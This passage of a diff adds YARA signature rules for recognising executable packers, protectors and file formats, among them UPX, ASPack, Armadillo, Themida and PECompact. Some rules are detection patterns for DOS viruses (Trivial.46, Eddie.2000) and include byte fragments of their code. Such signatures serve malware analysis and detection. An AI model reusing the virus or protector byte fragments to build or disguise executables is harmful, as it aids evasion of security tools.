+		$2 = {00 00 00 00 00 00 00 00 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6B 65 72 6E 65 6C 33 32 2E 64 6C 6C 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 4C 6F 61 64 4C 69 62 72 61 72 79 41 00 00 47 65 74 50 72 6F 63 41 64 64 72 65 73 73 00 00 56 69 72 74 75 61 6C 41 6C 6C 6F 63 00 00 56 69 72 74 75 61 6C 46 72 65 65 00 00 56 69 72 74 75 61 6C 50 72 6F 74 65 63 74 00 00 47 65 74 4D 6F 64 75 6C 65 48 61 6E 64 6C 65 41 00 00 00 10}
+	condition:
+		$0 at entrypoint or $1 or $2
+}
+rule _VOB_ProtectCD_
+{
+	meta:
+		description = "VOB ProtectCD"
+	strings:
+		$0 = {36 3E 26 8A C0 60 E8}
+		$1 = {5F 81 EF ?? ?? ?? ?? BE ?? ?? 40 ?? 8B 87 ?? ?? ?? ?? 03 C6 57 56 8C A7 ?? ?? ?? ?? FF 10 89 87 ?? ?? ?? ?? 5E 5F}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PKLite_200COM_
+{
+	meta:
+		description = "PKLite 2.00?[COM]"
+	strings:
+		$0 = {50 B8 00 00 BA 00 00 3B C4 73 79 8B C4 2D 42 03 25 F0 FF 8B F8 B9 A1 00 BE 8E 01 FC F3 A5 8B D8 B1 04 D3 EB 8C D9 03 D9 53 33 DB 53 CB 90 00 02}
+	condition:
+		$0 at entrypoint
+}
+rule _PE_password_protector_by_SMT_
+{
+	meta:
+		description = "PE password protector by SMT"
+	strings:
+		$0 = {E8 04 00 00 00 8B EC 5D C3 33 C0 5D 8B FD 81 ED 33 26 40 00 81 EF 00 00 00 00 83 EF 05 89 AD 88 27 40 00 8D 9D 07 29 40 00 8D B5 62 28 40 00 46 80 3E 00 74 24 56 FF 95 9D 29 40 00 46 80 3E 00 75 FA 46 80 3E 00 74 E7 50 56 50 FF 95 A1 29 40}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_DxPack_10_
+{
+	meta:
+		description = "PseudoSigner 0.2 [DxPack 1.0"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 8B FD 81 ED 90 90 90 90 2B B9 00 00 00 00 81 EF 90 90 90 90 83 BD 90 90 90 90 90 0F 84 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _PECompact_v25_Retail__Bitsum_Technologies_
+{
+	meta:
+		description = "PECompact v2.5 Retail -> Bitsum Technologies"
+	strings:
+		$0 = {B8 ?? ?? ?? 01 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Packman_Executable_Image_Packer_0001__bubba_
+{
+	meta:
+		description = "Packman Executable Image Packer 0.0.0.1 -> bubba"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 8D A8 ?? ?? FF FF 8D 98 ?? ?? ?? FF}
+	condition:
+		$0 at entrypoint
+}
+rule _UPolyX_V01__Delikon_
+{
+	meta:
+		description = "UPolyX V0.1 -> Delikon"
+	strings:
+		$0 = {E2 ?? FF ?? 00 00 00 00 00 00 00 00 00 00 00 00 00 00}
+	condition:
+		$0 at entrypoint
+}
+rule _3DMark_Database_file_
+{
+	meta:
+		description = "3DMark Database file"
+	strings:
+		$0 = {33 44 4D 61 72 6B 20 44 61 74 61 62 61 73 65 20 46 69 6C 65}
+	condition:
+		$0 at entrypoint
+}
+rule _CrypKey_V56X__Kenonic_Controls_Ltd_
+{
+	meta:
+		description = "CrypKey V5.6.X -> Kenonic Controls Ltd."
+	strings:
+		$0 = {E8 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? B9 1B 01 ?? ?? D1}
+		$1 = {E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 00 75 07 6A 00 E8}
+		$2 = {E8 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 F8 00 75 07 6A 00 E8}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _ARM_Protector_v02_SMoKE_
+{
+	meta:
+		description = "ARM Protector v0.2-> SMoKE"
+	strings:
+		$0 = {E8 04 00 00 00 83 60 EB 0C 5D EB 05 45 55 EB 04 B8 EB F9 00 C3 E8 00 00 00 00 5D EB 01 00 81 ED 09 20 40 00 EB 02 83 09 8D B5 9A 20 40 00 EB 02 83 09 BA 0B 12 00 00 EB 01 00 8D 8D A5 32 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Trivial46_
+{
+	meta:
+		description = "Vx: Trivial.46"
+	strings:
+		$0 = {B4 4E B1 20 BA ?? ?? CD 21 BA ?? ?? B8 ?? 3D CD 21}
+		$1 = {B4 4E B1 20 BA ?? ?? CD 21 BA ?? ?? B8 ?? 3D CD 21}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPXHiT_v001_
+{
+	meta:
+		description = "UPX$HiT v0.0.1"
+	strings:
+		$0 = {94 BC ?? ?? ?? 00 B9 ?? 00 00 00 80 34 0C ?? E2 FA 94 FF E0 61}
+	condition:
+		$0 at entrypoint
+}
+rule _HACKSTOP_v113_
+{
+	meta:
+		description = "HACKSTOP v1.13"
+	strings:
+		$0 = {52 B8 ?? ?? 1E CD 21 86 E0 3D ?? ?? 73 ?? CD 20 0E 1F B4 09 E8 ?? ?? 24 ?? EA}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeShield_Protector_V36__wwwexeshieldcom_
+{
+	meta:
+		description = "ExeShield Protector V3.6 -> www.exeshield.com"
+	strings:
+		$0 = {2C 71 1B CA EB 01 2A EB 01 65 8D 35 80 ?? ?? 00 80 C9 84 80 C9 68 BB F4 00 00 00 EB 01 EB}
+		$1 = {B8 ?? ?? ?? 00 50 64 FF 35 00 00 00 00 64 89 25 00 00 00 00 33 C0 89 08 50 45 43 6F 6D 70 61 63 74 32 00 CE 1E 42 AF F8 D6 CC}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _FreeJoiner_Small_build_014021024027__GlOFF_
+{
+	meta:
+		description = "FreeJoiner Small (build 014-021/024-027) -> GlOFF"
+	strings:
+		$0 = {E8 ?? ?? FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00}
+		$1 = {E8 ?? ?? FF FF 6A 00 E8 0D 00 00 00 CC FF 25 78 10 40 00 FF 25 7C 10 40 00 FF 25 80 10 40 00 FF 25 84 10 40 00 FF 25 88 10 40 00 FF 25 8C 10 40 00 FF 25 90 10 40 00 FF 25 94 10 40 00 FF 25 98 10 40 00 FF 25 9C 10 40 00 FF 25 A0 10 40 00 FF 25 A4 10 40 00 FF 25 AC 10 40 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_v260c_
+{
+	meta:
+		description = "Armadillo v2.60c"
+	strings:
+		$0 = {55 8B EC 6A FF 68 40 ?? ?? ?? 68 F4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 F4}
+		$1 = {55 8B EC 6A FF 68 40 ?? ?? ?? 68 F4 ?? ?? ?? 64 A1 ?? ?? ?? ?? 50 64 89 25 ?? ?? ?? ?? 83 EC 58 53 56 57 89 65 E8 FF 15 6C ?? ?? ?? 33 D2 8A D4 89 15 F4}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Armadillo_v177_
+{
+	meta:
+		description = "Armadillo v1.77"
+	strings:
+		$0 = {55 8B EC 6A FF 68 B0 71 40 00 68 6C 37 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+		$1 = {55 8B EC 6A FF 68 B0 71 40 00 68 6C 37 40 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 58}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _UPX_020_EXE_
+{
+	meta:
+		description = "UPX 0.20 [EXE]"
+	strings:
+		$0 = {8C CB B9 00 00 BE 00 00 89 F7 1E A9 B5 80 8D 87 05 00 8E D8 05 00 00 8E C0 FD F3 A5 FC 2E 80 6C 13 10 73 E8 AF AD 0E 0E 0E 06 1F 07 16 68 00 00 BD FF FF F7 E1 93 CB 55 50 58 21 03 03 02 07}
+	condition:
+		$0 at entrypoint
+}
+rule _Armadillo_V520Beta1__Silicon_Realms_Toolworks__20080214_
+{
+	meta:
+		description = "Armadillo V5.20.Beta1 -> Silicon Realms Toolworks * 20080214"
+	strings:
+		$0 = {E8 8E 3F 00 00 E9 16 FE FF FF 6A 0C 68 ?? ?? ?? ?? E8 9E 16 00 00 8B 4D 08 33 FF 3B CF 76 2E 6A E0 58 33 D2 F7 F1 3B 45 0C 1B C0 40 75 1F E8 F5 14 00 00 C7 00 0C 00 00 00 57 57 57 57 57 E8 86 14 00 00 83 C4 14 33 C0 E9 D5 00 00 00 0F AF 4D 0C 8B F1 89 75 08 3B F7 75 03 33 F6 46 33 DB 89 5D E4 83 FE E0 77 69 83 3D ?? ?? ?? ?? ?? 75 4B 83 C6 0F 83 E6 F0 89 75 0C 8B 45 08 3B 05 ?? ?? ?? ?? 77 37 6A 04 E8 07 13 00 00 59 89 7D FC FF 75 08 E8 AC 47 00 00 59 89 45 E4 C7 45 FC FE FF FF FF E8 5F 00 00 00 8B 5D E4 3B DF 74 11 FF 75 08 57 53 E8 7C D3 FF FF 83 C4 0C 3B DF 75 61 56 6A 08 FF 35 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 3B DF 75 4C 39 3D ?? ?? ?? ?? 74 33 56 E8 C7 F9 FF FF 59 85 C0 0F 85 72 FF FF FF 8B 45 10 3B C7 0F 84 50 FF FF FF C7 00 0C 00 00 00 E9 45 FF FF FF 33 FF 8B 75 0C 6A 04 E8 AD 11 00 00 59 C3}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_02_VBOX_43_MTE__Anorganix_
+{
+	meta:
+		description = "PseudoSigner 0.2 [VBOX 4.3 MTE] --> Anorganix"
+	strings:
+		$0 = {0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0 0B C0}
+	condition:
+		$0 at entrypoint
+}
+rule _Celsius_Crypt_21__Z3r0_
+{
+	meta:
+		description = "Celsius Crypt 2.1 -> Z3r0"
+	strings:
+		$0 = {55 89 E5 83 EC 28 8B 45 10 89 04 24 E8 3F 14 01 00 48 89 45 FC 8B 45 0C 48 89 45 F4 8D 45 F4 89 44 24 04 8D 45 FC 89 04 24 E8 12 A3 03 00 8B 00 89 45 F8 8B 45 FC 89 45 F0 C6 45 EF 01 C7 45 E8 00 00 00 00 8B 45 E8 3B 45 F8 73 39 80 7D EF 00 74 33 8B 45 F0}
+		$1 = {55 89 E5 83 EC 08 C7 04 24 01 00 00 00 FF 15 84 92 44 00 E8 C8 FE FF FF 90 8D B4 26 00 00 00 00 55 89 E5 83 EC 08 C7 04 24 02 00 00 00 FF 15 84 92 44 00 E8 A8 FE FF FF 90 8D B4 26 00 00 00 00 55 8B 0D C4 92 44 00 89 E5 5D FF E1 8D 74 26 00 55 8B 0D AC 92 44 00 89 E5 5D FF E1 90 90 90 90 55 89 E5 5D E9 77 C2 00 00 90 90 90 90 90 90 90 55 89 E5 83 EC 28 8B 45 10 89 04 24 E8 3F 14 01 00 48 89 45 FC 8B 45 0C 48 89 45 F4 8D 45 F4 89 44 24 04 8D 45 FC 89 04 24 E8 12 A3 03 00 8B 00 89 45 F8 8B 45 FC 89 45 F0 C6 45 EF 01 C7 45 E8 00 00 00 00 8B 45 E8 3B 45 F8 73 39 80 7D EF 00 74 33 8B 45 F0 89 44 24 04 8B 45 10 89 04 24 E8 1C 1A 01 00 89 C1 8B 45 08 8B 55 E8 01 C2 0F B6 01 3A 02 0F 94 C0 88 45 EF 8D 45 F0 FF 08 8D 45 E8 FF 00 EB BF 83 7D F0 00 74 34 80 7D EF 00 74 2E 8B 45 F0 89 44 24 04 8B 45 10 89 04 24 E8 DD 19 01 00 89 C1 8B 45 08 8B 55 F8 01 C2 0F B6 01 3A 02 0F 94 C0 88 45 EF 8D 45 F0 FF 08 EB C6 C7 44 24 04 00 00 00 00 8B 45 10 89 04 24 E8 AE 19 01 00 89 C1 8B 45 08 8B 55 F8 01 C2 0F B6 01 3A 02 7F 0C 0F B6 45 EF 83 E0 01 88 45 E7 EB 04 C6 45 E7 00 0F B6 45 E7 88 45 EF 0F B6 45 EF C9 C3}
+		$2 = {55 89 E5 83 EC 28 8B 45 10 89 04 24 E8 3F 14 01 00 48 89 45 FC 8B 45 0C 48 89 45 F4 8D 45 F4 89 44 24 04 8D 45 FC 89 04 24 E8 12 A3 03 00 8B 00 89 45 F8 8B 45 FC 89 45 F0 C6 45 EF 01 C7 45 E8 00 00 00 00 8B 45 E8 3B 45 F8 73 39 80 7D EF 00 74 33 8B 45 F0 89 44 24 04 8B 45 10 89 04 24 E8 1C 1A 01 00 89 C1 8B 45 08 8B 55 E8 01 C2 0F B6 01 3A 02 0F 94 C0 88 45 EF 8D 45 F0 FF 08 8D 45 E8 FF 00 EB BF 83 7D F0 00 74 34 80 7D EF 00 74 2E 8B 45 F0 89 44 24 04 8B 45 10 89 04 24 E8 DD 19 01 00 89 C1 8B 45 08 8B 55 F8 01 C2 0F B6 01 3A 02 0F 94 C0 88 45 EF 8D 45 F0 FF 08 EB C6 C7 44 24 04 00 00 00 00 8B 45 10 89 04 24 E8 AE 19 01 00 89 C1 8B 45 08 8B 55 F8 01 C2 0F B6 01 3A 02 7F 0C 0F B6 45 EF 83 E0 01 88 45 E7 EB 04 C6 45 E7 00 0F B6 45 E7 88 45 EF 0F B6 45 EF C9 C3}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2
+}
+rule _Morphnah_Beta__Kas_
+{
+	meta:
+		description = "Morphnah Beta -> Kas"
+	strings:
+		$0 = {2E 6E 61 68 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 A0 00 00 E0}
+		$1 = {2E 6E 61 68 00 00 00 00 ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? ?? 00 00 00 00 00 00 00 00 00 00 00 00 A0 00 00 E0}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _Thinstall_Embedded_2312__Jitit_
+{
+	meta:
+		description = "Thinstall Embedded 2.312 -> Jitit"
+	strings:
+		$0 = {6A 00 FF 15 ?? ?? ?? ?? E8 D4 F8 FF FF E9 E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00}
+		$1 = {6A 00 FF 15 ?? ?? ?? ?? E8 D4 F8 FF FF E9 E9 AD FF FF FF 8B C1 8B 4C 24 04 89 88 29 04 00 00 C7 40 0C 01 00 00 00 0F B6 49 01 D1 E9 89 48 10 C7 40 14 80 00 00 00 C2 04 00 8B 44 24 04 C7 41 0C 01 00 00 00 89 81 29 04 00 00 0F B6 40 01 D1 E8 89 41 10 C7 41 14 80 00 00 00 C2 04 00 55 8B EC 53 56 57 33 C0 33 FF 39 45 0C 8B F1 76 0C 8B 4D 08 03 3C 81 40 3B 45 0C 72 F4 8B CE E8 43 00 00 00 8B 46 14 33 D2 F7 F7 8B 5E 10 33 D2 8B F8 8B C3 F7 F7 89 7E 18 89 45 0C 33 C0 33 C9 8B 55 08 03 0C 82 40 39 4D 0C 73 F4 48 8B 14 82 2B CA 0F AF CF 2B D9 0F AF FA 89 7E 14 89 5E 10 5F 5E 5B 5D C2 08 00}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASPack_v211d__Alexey_Solodovnikov_
+{
+	meta:
+		description = "ASPack v2.11d -> Alexey Solodovnikov"
+	strings:
+		$0 = {60 E8 02 00 00 00 EB 09 5D 55}
+	condition:
+		$0 at entrypoint
+}
+rule _VC8__Microsoft_Corporation_
+{
+	meta:
+		description = "VC8 -> Microsoft Corporation"
+	strings:
+		$0 = {E8 ?? ?? ?? ?? E9 ?? ?? FF FF}
+	condition:
+		$0 at entrypoint
+}
+rule _UPX_v062__Laszlo__Markus_
+{
+	meta:
+		description = "UPX v0.62 -> Laszlo & Markus"
+	strings:
+		$0 = {60 E8 00 00 00 00 58 83 E8 3D 50 8D B8 ?? ?? ?? FF 57 66 81 87 ?? ?? ?? ?? ?? ?? 8D B0 F0 01 ?? ?? 83 CD FF 31 DB 90 90 90 EB 08 90 90 8A 06 46 88 07 47 01 DB 75 07}
+	condition:
+		$0 at entrypoint
+}
+rule _PseudoSigner_01_MEW_11_SE_10_
+{
+	meta:
+		description = "PseudoSigner 0.1 [MEW 11 SE 1.0"
+	strings:
+		$0 = {E9 09 00 00 00 00 00 00 02 00 00 00 0C 90 E9}
+		$1 = {E9 09 00 00 00 00 00 00 02 00 00 00 0C 90 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _EXE__yy66_
+{
+	meta:
+		description = "ÐÄÆæEXEºÏ²¢Æ÷ -> yy66"
+	strings:
+		$0 = {68 78 18 40 00 E8 F0 FF FF FF 00 00 00 00 00 00 30}
+	condition:
+		$0 at entrypoint
+}
+rule _IBM_IOCA_Graphics_format_
+{
+	meta:
+		description = "IBM IOCA Graphics format"
+	strings:
+		$0 = {00 11 D3 A6 FB}
+	condition:
+		$0 at entrypoint
+}
+rule _DzA_Patcher_v13_Loader_
+{
+	meta:
+		description = "DzA Patcher v1.3 Loader"
+	strings:
+		$0 = {BF 00 40 40 00 99 68 48 20 40 00 68 00 20 40 00 52 52 52 52 52 52 52 57 E8 15 01 00 00 85 C0 75 1C 99 52 52 57 52 E8 CB 00 00 00 FF 35 4C 20 40 00 E8 D2 00 00 00 6A 00 E8 BF 00 00 00 99 68 58 20 40 00 52 52 68 63 10 40 00 52 52 E8 DB 00 00 00 6A FF FF 35 48 20 40 00 E8 C2 00 00 00 E8 C8 FF FF FF BF 40 40 40 00 FF 35 4C 20 40 00 E8 A1 00 00 00 8B 0F 83 F9 00 74 B1 60 6A 00 6A 04 6A 01 51 FF 35 48 20 40 00 E8 75 00 00 00 61 60 BB 5C 20 40 00 6A 00 6A 01 53 51 FF 35 48 20 40 00 E8 75 00 00 00 61 A0 5C 20 40 00 8A 5F 05 3A C3 74 14 FF 35 4C 20 40 00 E8 4B 00 00 00 6A 03 E8 4A 00 00 00 EB A2 60 8D 5F 04 6A 00 6A 01 53 51 FF 35 48 20 40 00 E8 4B 00 00 00 61 83 C7 06 FF 35 4C 20 40 00 E8 1E 00 00 00 6A 03 E8 1D 00 00 00 E9 72 FF FF FF FF 25 70 30 40 00 FF 25 78}
+		$1 = {BF 00 40 40 00 99 68 48 20 40 00 68 00 20 40 00 52 52 52 52 52 52 52 57 E8 15 01 00 00 85 C0 75 1C 99 52 52 57 52 E8 CB 00 00 00 FF 35 4C 20 40 00 E8 D2 00 00 00 6A 00 E8 BF 00 00 00 99 68 58 20 40 00 52 52 68 63 10 40 00 52 52 E8 DB 00 00 00 6A FF FF 35}
+	condition:
+		$0 at entrypoint or $1
+}
+rule _PECompact_110_beta_1_
+{
+	meta:
+		description = "PECompact 1.10 beta 1"
+	strings:
+		$0 = {EB 06 68 00 00 00 00 C3 9C 60 E8 02 00 00 00 33 C0 8B C4 83 C0 04 93 8B E3 8B 5B FC 81 EB 28 63 40 00 87 DD 8B 85 AD 63 40 00 01 85 1C 63 40 00 66 C7 85 19 63 40 00 90 90 BB D6 0A 00 00 03 9D B1 63 40 00 03 9D AD 63 40 00 53 53 53 58 2D 83}
+	condition:
+		$0 at entrypoint
+}
+rule _PESpin_V03__cyberbob____20080312_
+{
+	meta:
+		description = "PESpin V0.3 -> cyberbob   * 20080312"
+	strings:
+		$0 = {EB 01 68 60 E8 00 00 00 00 8B 1C 24 83 C3 12 81 2B E8 B1 06 00 FE 4B FD 82 2C 24 B7 CD 46 00 0B E4 74 9E 75 01 C7 81 73 04 D7 7A F7 2F 81 73 19 77 00 43 B7 F6 C3 6B B7 00 00 F9 FF E3 C9 C2 08 00 A3 68 72 01 FF 5D 33 C9 41 E2 17 EB 07 EA EB 01 EB EB 0D FF E8 01 00 00 00 EA 5A 83 EA 0B FF E2 8B 95 CB 2C 40 00 8B 42 3C 03 C2 89 85 D5 2C 40 00 41 C1 E1 07 8B 0C 01 03 CA 8B 59 10 03 DA 8B 1B 89 9D E9 2C 40 00 53 8F 85 B6 2B 40 00 BB ?? 00 00 00 B9 75 0A 00 00 8D BD 7E 2D 40 00 4F 30 1C 39 FE CB E2 F9 68 3C 01 00 00 59 8D BD B6 36 40 00 C0 0C 39 02 E2 FA E8 02 00 00 00 FF 15 5A 8D 85 1F 53 56 00 BB 54 13 0B 00 D1 E3 2B C3 FF E0 E8 01 00 00 00 68 E8 1A 00 00 00 8D 34 28 B9 08 00 00 00 B8 ?? ?? ?? ?? 2B C9 83 C9 15 0F A3 C8 0F 83 81 00 00 00 8D B4 0D DC 2C 40 00}
+	condition:
+		$0 at entrypoint
+}
+rule _Vx_Eddie2000_
+{
+	meta:
+		description = "Vx: Eddie.2000"
+	strings:
+		$0 = {E8 ?? ?? 5E 81 EE ?? ?? FC 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 50 06 56 1E 8B FE 33 C0 50 8E D8 C5 ?? ?? ?? B4 30 CD 21}
+		$1 = {E8 ?? ?? 5E 81 EE ?? ?? FC 2E ?? ?? ?? ?? 2E ?? ?? ?? ?? 4D 5A ?? ?? FA 8B E6 81 C4 ?? ?? FB 3B ?? ?? ?? ?? ?? 50 06 56 1E 8B FE 33 C0 50 8E D8 C5 ?? ?? ?? B4 30 CD 21}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_01_VOB_ProtectCD_5_
+{
+	meta:
+		description = "PseudoSigner 0.1 [VOB ProtectCD 5"
+	strings:
+		$0 = {36 3E 26 8A C0 60 E8 00 00 00 00 E9}
+		$1 = {36 3E 26 8A C0 60 E8 00 00 00 00 E9}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _ASPack_v102b_
+{
+	meta:
+		description = "ASPack v1.02b"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED 8A 1C 40 00 B9 9E 00 00 00 8D BD 4C 23 40 00 8B F7 33}
+		$1 = {60 E8 ?? ?? ?? ?? 5D 81 ED 96 78 43 ?? B8 90 78 43 ?? 03 C5 2B 85 7D 7C 43 ?? 89 85 89 7C 43 ?? 80 BD 74 7C 43}
+		$2 = {60 E8 00 00 00 00 5D 81 ED 96 78 43 00 B8 90 78 43 00 03 C5}
+	condition:
+		$0 at entrypoint or $1 at entrypoint or $2 at entrypoint
+}
+rule _IBM_PictureMaker_graphics_file_
+{
+	meta:
+		description = "IBM PictureMaker graphics file"
+	strings:
+		$0 = {00 ?? C1 ?? 00 ?? ?? ?? ?? 02 00 01}
+	condition:
+		$0 at entrypoint
+}
+rule _tElock_v090__tHE_EGOiSTE_
+{
+	meta:
+		description = "tElock v0.90 -> tHE EGOiSTE"
+	strings:
+		$0 = {E8 02 00 00 00 E8 00 E8 00 00 00 00 5E 2B}
+	condition:
+		$0 at entrypoint
+}
+rule _ExeTools_v21_Encruptor_by_DISMEMBER_
+{
+	meta:
+		description = "ExeTools v2.1 Encruptor by DISMEMBER"
+	strings:
+		$0 = {E8 ?? ?? 5D 83 ?? ?? 1E 8C DA 83 ?? ?? 8E DA 8E C2 BB ?? ?? BA ?? ?? 85 D2 74}
+		$1 = {E8 ?? ?? 5D 83 ?? ?? 1E 8C DA 83 ?? ?? 8E DA 8E C2 BB ?? ?? BA ?? ?? 85 D2 74}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Sentinel_SuperPro_Dongle_V54200__Rainbow_Technologies_
+{
+	meta:
+		description = "Sentinel SuperPro Dongle V5.42.0.0 -> Rainbow Technologies"
+	strings:
+		$0 = {60 E8 00 00 00 00 5D 81 ED ?? ?? ?? ?? B9 10 FF 00 00 BB 00 00 00 00 E8 ?? ?? ?? ?? 68 B9 20 FF 00 00 E8 ?? ?? ?? ?? 68 B9 30 FF 00 00 E8 ?? ?? ?? ?? 68 E8 ?? ?? ?? ?? 68 27 F0 10 7F E8 ?? ?? ?? ?? 68 BB 02 00 00 00 E8 ?? ?? ?? ?? 68 07 D4 30 7F E8}
+	condition:
+		$0 at entrypoint
+}
+rule _ThemidaWinLicense_V2100_p__Oreans_Technologies__20090917_
+{
+	meta:
+		description = "Themida/WinLicense V2.1.0.0 + -> Oreans Technologies * 20090917"
+	strings:
+		$0 = {83 EC 04 50 53 E8 ?? ?? 00 00 CC 58 8B D8 40 2D ?? ?? ?? ?? 2D ?? ?? ?? ?? 05 ?? ?? ?? ?? 80 3B CC 75 19 C6 03 00 BB 00 10 00 00 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 50 E8 0A 00 00 00 83 C0 00 89 44 24 08 5B 58 C3 55 8B EC 60 8B 75 08 8B 4D 0C C1 E9 02 8B 45 10 8B 5D 14 EB 08 31 06 01 1E 83 C6 04 49 0B C9 75 F4 61 C9 C2 10 00}
+	condition:
+		$0 at entrypoint
+}
+rule _HideProtect_V10X_SoftWar_Company_
+{
+	meta:
+		description = "Hide&Protect V1.0X-> SoftWar Company"
+	strings:
+		$0 = {90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90 90}
+	condition:
+		$0 at entrypoint
+}
+rule _Frusion__biff_
+{
+	meta:
+		description = "Frusion -> biff"
+	strings:
+		$0 = {83 EC 0C 53 55 56 57 68 04 01 00 00 C7 44 24 14}
+		$1 = {83 EC 0C 53 55 56 57 68 04 01 00 00 C7 44 24 14}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _PseudoSigner_02_LCC_Win32_1x_
+{
+	meta:
+		description = "PseudoSigner 0.2 [LCC Win32 1.x"
+	strings:
+		$0 = {64 A1 01 00 00 00 55 89 E5 6A FF 68 ?? ?? ?? ?? 68 9A 10 40 90 50}
+	condition:
+		$0 at entrypoint
+}
+rule _Obsidium_V1311__Obsidium_Software_
+{
+	meta:
+		description = "Obsidium V1.3.1.1 -> Obsidium Software"
+	strings:
+		$0 = {EB 02 ?? ?? E8 27 00 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 22 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33}
+		$1 = {EB 02 ?? ?? E8 27 00 00 00 EB 02 ?? ?? EB 03 ?? ?? ?? 8B 54 24 0C EB 01 ?? 83 82 B8 00 00 00 22 EB 04 ?? ?? ?? ?? 33 C0 EB 01 ?? C3 EB 02 ?? ?? EB 02 ?? ?? 64 67 FF 36 00 00 EB 04 ?? ?? ?? ?? 64 67 89 26 00 00 EB 01 ?? EB 03 ?? ?? ?? 50 EB 03 ?? ?? ?? 33 C0 EB 01 ?? 8B 00 EB 03 ?? ?? ?? C3 EB 01 ?? E9 FA 00 00 00 EB 03 ?? ?? ?? E8 D5 FF FF FF EB 01 ?? EB 03 ?? ?? ?? 58 EB 03 ?? ?? ?? EB 01 ?? 64 67 8F 06 00 00 EB 01 ?? 83 C4 04 EB 03}
+	condition:
+		$0 at entrypoint or $1 at entrypoint
+}
+rule _Upack_V036__Dwing____20080321_
+{
+	meta:
+		description = "Upack V0.36 -> Dwing   * 20080321"
+	strings:
